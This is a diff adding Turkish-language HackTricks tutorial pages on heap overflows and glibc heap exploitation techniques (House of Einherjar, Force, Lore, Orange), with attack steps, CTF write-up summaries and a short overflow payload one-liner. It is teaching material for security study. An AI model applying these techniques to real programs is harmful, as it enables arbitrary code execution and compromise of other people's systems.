+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Bir heap taşması, heap'te bir [**yığın taşması**](../stack-overflow/) gibi. Temelde, heap'te belirli bir veriyi depolamak için bir alan ayrılmış ve **depolanan veri ayrılan alandan daha büyük olmuş.**
+
+Yığın taşmalarında, yığından bazı kayıtların (örneğin yönerge işaretçisi veya yığın çerçevesi) geri yükleneceğini ve bunun istismar edilebileceğini biliyoruz. Heap taşmalarında ise, taşınabilecek bir **duyarlı bilgi varsayılan olarak heap parçasında depolanmaz.** Bununla birlikte, hassas bilgi veya işaretçiler olabilir, bu nedenle bu zafiyetin **kritikliği**, bu zafiyetin **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl istismar edebileceğine bağlıdır.
+
+{% hint style="success" %}
+Taşma ofsetlerini bulmak için [**yığın taşmalarında**](../stack-overflow/#finding-stack-overflows-offsets) olduğu gibi aynı desenleri kullanabilirsiniz.
+{% endhint %}
+
+### Yığın Taşmaları vs. Heap Taşmaları
+
+Yığın taşmalarında, zafiyet tetiklendiğinde yığında bulunacak düzen ve veriler oldukça güvenilirdir. Bu, yığının lineer olduğu, belleğin çarpışma noktalarında her zaman artan, programın belirli yerlerinde yığın belleğinin genellikle benzer türde verileri depoladığı ve her işlev tarafından kullanılan yığın kısmının sonunda bazı işaretçilerle belirli bir yapıya sahip olduğu için geçerlidir.
+
+Ancak, bir heap taşması durumunda, kullanılan belleğin lineer olmadığı, **ayrılmış bellek pozisyonlarında genellikle ayrılmış parçaların** (birbirine bitişik olmayan) olduğu ve **önceki serbest bırakılan belleğin** yeni parçalar ayrılmadan önce kullanıldığı için **çarpışacak nesnenin ne olduğunu bilmek karmaşıktır.** Bu nedenle, bir heap taşması bulunduğunda, istenen nesnenin, taşınabilecek nesnenin yanında bellekte olmasını sağlayacak **güvenilir bir yol bulunması gerekir.**
+
+Bunun için kullanılan tekniklerden biri **Heap Grooming**dir ve örneğin [**bu yazıda**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) kullanılmaktadır. Yazıda, iOS çekirdeğinde bir bölgenin bellekteki bellek parçalarını depolamak için hafızasının tükendiği durumda, çekirdek sayfasıyla genişletildiği ve bu sayfanın beklenen boyutlardaki parçalara bölündüğü ve bu parçaların sırayla kullanılacağı açıklanmaktadır (iOS sürüm 9.2'ye kadar, ardından bu parçaların bu saldırıların zorlaştırılması için rastgele bir şekilde kullanıldığı).
+
+Bu nedenle, bir heap taşması gerçekleştiğinde, taşan nesnenin çarpışacağı bir kurban sırayı zorlamak için birkaç **`kalloc`'un** birkaç iş parçası tarafından zorlanması gerekmektedir ve tüm boş parçaların doldurulduğundan ve yeni bir sayfa oluşturulduğundan emin olunmalıdır.
+
+Belirli bir boyuttaki nesnelerle bu doldurmayı zorlamak için, **iOS mach port ile ilişkilendirilmiş dış hattan tahsis** ideal bir adaydır. Mesajın boyutunu şekillendirerek, `kalloc` tahsisinin boyutunu tam olarak belirlemek mümkündür ve karşılık gelen mach portu yok edildiğinde, karşılık gelen tahsis hemen `kfree`'ye geri bırakılacaktır.
+
+Ardından, bu yer tutuculardan bazıları **serbest bırakılabilir.** **`kalloc.4096` serbest listesi, son giren ilk çıkan düzeninde öğeleri serbest bırakır**, bu da temelde bazı yer tutucuların serbest bırakıldığı ve saldırının taşınabilir nesneyi tahsis etmeye çalışırken taşınabilir nesnenin bir kurban nesne tarafından takip edileceği olasılığının yüksek olduğu anlamına gelir.
+
+### Örnek libc
+
+[**Bu sayfada**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) kullanılan temel bir Heap taşması emülasyonunu bulabilirsiniz. Bir sonraki parçanın kullanılan önceki bitini ve önceki boyutun konumunu değiştirerek **kullanılan bir parçayı birleştirmek** (kullanılmadığına inandırarak) ve ardından tekrar tahsis ederek farklı bir işaretçide kullanılan verileri üzerine yazmak mümkündür.
+
+[**Protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) örneğinden başka bir örnek, bir bayrağı **almak için kazan fonksiyonunu çağırmak için bir CTF'de** bir **heap taşmasının** nasıl istismar edilebileceğini göstermektedir.
+
+[**Protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) örneğinde, bir tampon taşmasının istismar edilerek, **kullanıcının** yazacağı **keyfi verilerin yazılacağı yakın bir parçada bir adresi üzerine yazmak mümkündür.**
+
+### Örnek ARM64
+
+[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, bir komutun taşan parçadan bir sonraki parçada depolandığı bir heap taşması örneği bulabilirsiniz. Bu nedenle, basit bir saldırı ile komutu değiştirerek yürütülecek komutu değiştirmek mümkündür.
+```bash
+python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
+```
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>

binary-exploitation/libc-heap/house-of-einherjar.md

@@ -0,0 +1,56 @@
+# Einherjar Evi
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+### Kod
+
+* Örneği kontrol et [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
+* Veya şu adresten bak [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (tcache'yi doldurmanız gerekebilir)
+
+### Amaç
+
+* Hemen hemen herhangi bir belirli adreste bellek tahsis etmek.
+
+### Gereksinimler
+
+* Bir parça tahsis etmek istediğimizde sahte bir parça oluşturun:
+* Kontrol noktalarını kendisine işaret etmek için işaretçileri ayarlayın
+* Bir parçadan diğerine bir tane fazla olan hata ile önceki kullanımda değişiklik yapın
+* Hata ile kullanılan bir önceki parçanın `prev_size`'ına kendisi ile sahte parça arasındaki farkı gösterin
+* Sahte parça boyutu da kontrol noktalarını atlamak için aynı boyutta olmalıdır
+* Bu parçaları oluşturmak için bir heap sızıntısına ihtiyacınız olacak.
+
+### Saldırı
+
+* Saldırgan tarafından kontrol edilen bir parçanın içine `fd` ve `bk` ile orijinal parçaya işaret eden bir sahte parça oluşturulur
+* 2 diğer parça (`B` ve `C`) tahsis edilir
+* `B`'deki bir fazla olan hatayı kötüye kullanarak `prev in use` biti temizlenir ve `prev_size` verisi, önce `C` parçasının tahsis edildiği yer ile önce oluşturulan sahte `A` parçası arasındaki farkla üzerine yazılır
+* Bu `prev_size` ve sahte parçadaki boyut aynı olmalıdır kontrol noktalarını atlamak için.
+* Sonra, tcache doldurulur
+* Sonra, `C` serbest bırakılır böylece sahte parça `A` ile birleşir
+* Sonra, sahte `A` parçasında başlayacak ve `B` parçayı kapsayacak yeni bir parça `D` oluşturulur
+* Einherjar Evi burada biter
+* Bu, bir fast bin saldırısı ile devam ettirilebilir:
+* `B`'yi serbest bırakarak onu hızlı bine ekleyin
+* `B`'nin `fd`si üzerine yazılarak hedef adrese işaret etmesi sağlanır, `D` parçasını kötüye kullanarak (çünkü içinde `B` bulunmaktadır)&#x20;
+* Sonra, 2 malloc yapılır ve ikincisi **hedef adresi tahsis edecektir**
+
+## Referanslar ve diğer örnekler
+
+* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
+* İşaretçiler serbest bırakıldıktan sonra sıfırlanmadığı için verilerine hala erişmek mümkündür. Bu nedenle, bir parça sıralanmamış kutuya yerleştirilir ve içerdiği işaretçiler sızdırılır (libc sızıntısı) ve ardından bir yeni heap sıralanmamış kutuya yerleştirilir ve aldığı işaretçiden bir heap adresi sızdırılır.

binary-exploitation/libc-heap/house-of-force.md

@@ -0,0 +1,72 @@
+# Güç Evi
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+### Kod
+
+* Bu teknik düzeltildi ([**burada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) ve şu hatayı üretir: `malloc(): corrupted top size`
+* Test etmek isterseniz [**buradan kodu**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) deneyebilirsiniz.
+
+### Amaç
+
+* Bu saldırının amacı belirli bir adreste bir parça tahsis edebilmektir.
+
+### Gereksinimler
+
+* Başlık parçasının boyutunu üzerine yazmanızı sağlayan bir taşma (örneğin -1).
+* Yığın tahsis boyutunu kontrol edebilme
+
+### Saldırı
+
+Bir saldırgan, bir parçayı P adresine tahsis etmek için burada bir değeri üzerine yazmak isterse. Başlangıçta, başlık parçasının boyutunu `-1` ile üzerine yazarak başlar (belki bir taşma ile). Bu, malloc'un herhangi bir tahsis için mmap kullanmayacağından emin olur, çünkü Üst parça her zaman yeterli alanı olacaktır.
+
+Daha sonra, üst parça adresi ile hedef alan arasındaki mesafeyi hesaplayın. Bu, üst parçayı o konuma taşımak için o boyutta bir malloc'un gerçekleştirileceği anlamına gelir. Farkın/boyutun kolayca hesaplanabileceği budur:
+```c
+// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
+/*
+* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
+* new_top = old_top + nb
+* nb = new_top - old_top
+* req + 2sizeof(long) = new_top - old_top
+* req = new_top - old_top - 2sizeof(long)
+* req = target - 2sizeof(long) - old_top - 2sizeof(long)
+* req = target - old_top - 4*sizeof(long)
+*/
+```
+Bu nedenle, `hedef - eski_üst - 4*sizeof(long)` boyutunda bir alan ayırmak (4 long, üst parçanın ve ayrıldığında yeni parçanın meta verileri nedeniyle) üst parçayı üzerine yazmak istediğimiz adrese taşıyacaktır.\
+Sonra, hedef adresi yazmak için verinin başlangıcını içeren bir parçayı almak için başka bir malloc yapın.
+
+### Referanslar ve Diğer Örnekler
+
+* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
+* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
+* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c)
+* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
+* Bu senaryonun amacı, çağrılacak bir işlevin adresini ret2win işlevinin adresine değiştirmek için bir işlevin adresini değiştirmektir
+* Binanın köşesinde, üst parçanın boyutunu değiştirmek için kötüye kullanılabilecek bir taşma vardır, bu -1 veya p64(0xffffffffffffffff) olarak değiştirilir
+* Daha sonra, üzerine yazılacak işaretçinin bulunduğu yere giden adres hesaplanır ve üst parçanın mevcut konumundan oraya olan fark `malloc` ile ayrılır
+* Son olarak, istenen hedefi içerecek yeni bir parça ayrılır ve bu hedef, ret2win işlevi tarafından üzerine yazılır
+* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
+* `Adınızı girin:` kısmında, yığından bir adres sızdırmaya izin veren bir başlangıç açığı vardır
+* Ardından, `Org:` ve `Host:` işlevlerinde, **org adı** istendiğinde `s` işaretçisinin 64B'sini doldurmak mümkündür, bu da yığında v2 adresinin ardından gelen ve daha sonra belirtilen **host adı** tarafından takip edilen bir adrestir. Daha sonra, strcpy, s içeriğini 64B boyutunda bir parçaya kopyalayacak, bu da **host adı** içine konulan veriyle üst parçanın boyutunu **üzerine yazmaya** olanak tanır.
+* Artık keyfi yazma mümkün olduğundan, `atoi`'nin GOT'u printf adresine üzerine yazıldı. `IO_2_1_stderr` adresi `%24$p` ile sızdırılabildi. Ve bu libc sızıntısı ile `atoi`'nin GOT'u tekrar `system` adresiyle üzerine yazılarak `/bin/sh` parametresiyle çağrıldı
+* [Bu diğer yazıda önerilen](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud) alternatif bir yöntem, `free`'yi `puts` ile üzerine yazmak ve ardından daha sonra serbest bırakılacak işaretçiye `atoi@got` adresini eklemektir, böylece sızdırılır ve bu sızıntı ile tekrar `atoi@got` adresi `system` ile üzerine yazılır ve `/bin/sh` ile çağrılır.
+* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
+* Burada, serbest bırakılan bir parçayı temizlemeden yeniden kullanmaya izin veren bir UAF bulunmaktadır. Bazı okuma yöntemleri olduğundan, buraya serbest işlevin işaretçisine bir işaretçi yazarak bir libc adresi sızdırmak ve ardından okuma işlevini çağırmak mümkündür.
+* Daha sonra, bir -1 ile sol boşluğun boyutunu üzerine yazmak için House of force (UAF'yi kötüye kullanarak) kullanıldı, serbest kancaya ulaşmak için yeterince büyük bir parça ayırmak ve ardından serbest kancayı içerecek başka bir parça ayırmak. Ardından, kancaya `system` adresini yazın, bir parçaya `"/bin/sh"` yazın ve son olarak o dize içeriğine sahip parçayı serbest bırakın.

binary-exploitation/libc-heap/house-of-lore.md

@@ -0,0 +1,57 @@
+# House of Lore | Küçük Bin Saldırısı
+
+<details>
+
+<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
+
+</details>
+
+## Temel Bilgiler
+
+### Kod
+
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) adresinden kontrol edin
+* Bu çalışmıyor
+* Veya: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
+* Bu, bazı kontrolleri atlamaya çalışsa da çalışmıyor ve hata alıyor: `malloc(): unaligned tcache chunk detected`
+* Bu örnek hala çalışıyor**:** [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)&#x20;
+
+### Amaç
+
+* **Küçük bir parça ekleyerek sahte küçük parçayı yerleştirin ve ardından onu ayırabilirsiniz**.\
+Eklenen küçük parça sahte olan, saldırganın rastgele bir konumda oluşturduğu değil.
+
+### Gereksinimler
+
+* 2 sahte parça oluşturun ve bunları birbirine ve meşru parçaya bağlayın:
+* `sahte0.bk` -> `sahte1`
+* `sahte1.fd` -> `sahte0`
+* `sahte0.fd` -> `meşru` (başka bir zayıflık aracılığıyla serbest bırakılan küçük parça içindeki bir işaretçiyi değiştirmeniz gerekir)
+* `meşru.bk` -> `sahte0`
+
+Böylece `sahte0`'ı ayırabilirsiniz.
+
+### Saldırı
+
+* Küçük bir parça (`meşru`) ayrıldıktan sonra, üst parçayla birleşmesini önlemek için başka bir parça ayrılır. Daha sonra, meşru serbest bırakılır (onu sıralanmamış listeye taşır) ve daha büyük bir parça ayrılır, **`meşru`'yu küçük bine taşır.**
+* Bir saldırgan birkaç sahte küçük parça oluşturur ve geçerlilik kontrollerini atlamak için gerekli bağlantıları yapar:
+* `sahte0.bk` -> `sahte1`
+* `sahte1.fd` -> `sahte0`
+* `sahte0.fd` -> `meşru` (başka bir zayıflık aracılığıyla serbest bırakılan küçük parça içindeki bir işaretçiyi değiştirmeniz gerekir)
+* `meşru.bk` -> `sahte0`
+* Meşru alınmak üzere küçük bir parça ayrılır, **`sahte0`**'ı küçük parça listesinin üstüne taşır
+* Başka bir küçük parça ayrılır, sahte0'ı bir parça olarak alır, potansiyel olarak içindeki işaretçileri okuma/yazma izni verir.
+
+## Referanslar
+
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
+* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
+* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)

binary-exploitation/libc-heap/house-of-orange.md

@@ -0,0 +1,97 @@
+# House of Orange
+
+<details>
+
+<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
+- **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+### Kod
+
+- Örnek bulunabilir: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
+- Saldırı tekniği bu [yamada](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) düzeltildi (2.26'dan önce çalışıyordu)
+- Daha fazla yorumla aynı örnek: [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
+
+### Amaç
+
+- `malloc_printerr` fonksiyonunu kötüye kullanmak
+
+### Gereksinimler
+
+- Üst parça boyutunu üzerine yaz
+- Libc ve heap sızıntıları
+
+### Arka Plan
+
+Gerekli arka plan bilgileri [**bu örneğin yorumlarından**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)** alınmıştır:**
+
+Önceki libc sürümlerinde, `malloc_printerr` fonksiyonu çağrıldığında, `_IO_list_all` içinde depolanan `_IO_FILE` yapılarının listesini **dolaşır** ve aslında bu yapıdaki bir komut işaretçisini **çalıştırırdı**.\
+Bu saldırı, **sahte bir `_IO_FILE` yapısı** oluşturacak ve bu yapının **`_IO_list_all`'a yazılmasına** neden olacak. Sonra `malloc_printerr`'ın çalışmasına neden olacak olan **`_IO_FILE`** yapılarının atlamalı tablosunda sakladığımız herhangi bir adresi **çalıştıracak**.
+
+### Saldırı
+
+Saldırı, **sıralanmamış parçada** **üst parçayı** elde etmekle başlar. Bu, `malloc`'u mevcut üst parça boyutundan daha büyük ancak **`mmp_.mmap_threshold`**'den (varsayılan olarak 128K) daha küçük bir boyutta çağırarak başarılır, aksi takdirde `mmap` tahsili tetiklenir. Üst parça boyutu değiştirildiğinde, **üst parça + boyutunun** sayfa hizalanmış olması ve üst parça **prev\_inuse** bitinin her zaman ayarlı olması önemlidir.
+
+Üst parçayı sıralanmamış parçaya almak için, üst parçayı oluşturmak için bir parça tahsis edin, üst parça boyutunu (tahsis edilen parçada taşma ile) değiştirin, böylece **üst parça + boyutunun** sayfa hizalanmış ve **prev\_inuse** biti ayarlı olacak şekilde yapın. Daha sonra, yeni üst parça boyutundan daha büyük bir parça tahsis edin. Üst parçayı sıralanmamış parçaya almak için asla `free` çağrılmaz.
+
+Eski üst parça şimdi sıralanmamış parçada. İçindeki verileri okuyabiliyorsak (muhtemelen taşmaya neden olan bir zayıflıktan dolayı), libc adreslerini sızdırmak ve **\_IO\_list\_all** adresini almak mümkündür.
+
+Sıralanmamış parça saldırısı, taşmayı kötüye kullanarak `topChunk->bk->fwd = _IO_list_all - 0x10` yazarak gerçekleştirilir. Yeni bir parça tahsis edildiğinde, eski üst parça bölünecek ve sıralanmamış parçaya bir işaretçi yazılacaktır. **`_IO_list_all`**'a.
+
+Bir sonraki adım, eski üst parça boyutunu küçültmek ve küçük bir parça içine sığacak şekilde ayarlamaktır, özellikle boyutunu **0x61** olarak ayarlamaktır. Bu iki amaçla hizmet eder:
+
+1. **Küçük Parça 4'e Ekleme**: `malloc`, sıralanmamış parçayı taradığında ve bu parçayı görürse, boyutu küçük olduğundan onu küçük parça 4'e eklemeye çalışacaktır. Bu, parçanın, _IO_list_all`'ın FD işaretçisinin konumu olan küçük parça 4 listesinin başına gelmesine neden olur, çünkü sıralanmamış parça saldırısıyla **`_IO_list_all`**'a yakın bir adres yazdık.
+2. **Malloc Kontrolünü Tetikleme**: Bu parça boyutu manipülasyonu, `malloc`'un iç kontrolleri yapmasına neden olacaktır. Sahte ileri parça boyutunu kontrol ettiğinde, bu boyut sıfır olacağından bir hata tetikler ve `malloc_printerr`'ı çağırır.
+
+Küçük parça manipülasyonu, parçanın ileri işaretçisini kontrol etmenizi sağlar. **\_IO\_list\_all** ile çakışma, sahte **\_IO\_FILE** yapısını oluşturmak için kullanılır. Yapı, libc'de iç kontrolleri geçen `_IO_write_base` ve `_IO_write_ptr` gibi önemli alanları içerecek şekilde dikkatlice oluşturulur. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun (örneğin, `system` fonksiyonu) çalıştırılabileceği adres olarak ayarlanır.
+
+Tekniğin geri kalanını özetlemek gerekirse:
+
+- **Eski Üst Parçayı Küçült**: Eski üst parçanın boyutunu **0x61** olarak ayarlayın ve küçük bir parçaya sığacak şekilde ayarlayın.
+- **Sahte `_IO_FILE` Yapısını Kur**: Eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturun ve akış kontrolünü ele geçirin.
+
+Bir sonraki adım, şu anda sıralanmamış parçada bulunan eski üst parçayla çakışan sahte **\_IO_FILE** yapısını oluşturmaktır. Bu yapının ilk baytları dikkatlice oluşturulur ve yürütülecek bir komuta (örneğin, "/bin/sh") bir işaretçi içerir.
+
+Sahte **\_IO_FILE** yapısındaki ana alanlar, `_IO_write_base` ve `_IO_write_ptr` gibi, libc'de iç kontrolleri geçen değerlere ayarlanır. Ayrıca, sahte yapı içinde bir atlamalı tablo oluşturulur, burada bir komut işaretçisi, keyfi kodun çalıştırılabileceği adres olarak ayarlanır. Genellikle, bu, `system` fonksiyonunun adresi veya kabuk komutlarının çalıştırılabileceği başka bir fonksiyonun adresi olacaktır.
+
+Saldırı, `malloc`'a yapılan bir çağrı, manipüle edilmiş **\_IO_FILE** yapısı üzerinden kodun yürütülmesini tetiklediğinde doruğa ulaşır. Bu, genellikle bir kabukun başlatılmasına veya başka kötü amaçlı bir yükün yürütülmesine neden olacak olan keyfi kod yürütülmesine izin verir.
+
+**Saldırının Özeti:**
+
+1. **Üst parçayı ayarlayın**: Bir parça tahsis edin ve üst parça boyutunu değiştirin.
+2. **Üst parçayı sıralanmamış parçaya zorla**: Daha büyük bir parça tahsis edin.
+3. **Libc adreslerini sızdırın**: Zayıflıktan yararlanarak sıralanmamış parçadan okuyun.
+4. **Sıralanmamış parça saldırısını gerçekleştirin**: Taşma kullanarak **\_IO_list_all**'a yazın.
+5. **Eski üst parçayı küçült**: Küçük bir parçaya sığacak şekilde boyutunu ayarlayın.
+6. **Sahte \_IO\_FILE yapısını kurun**: Akış kontrolünü ele geçirmek için sahte bir dosya yapısı oluşturun.
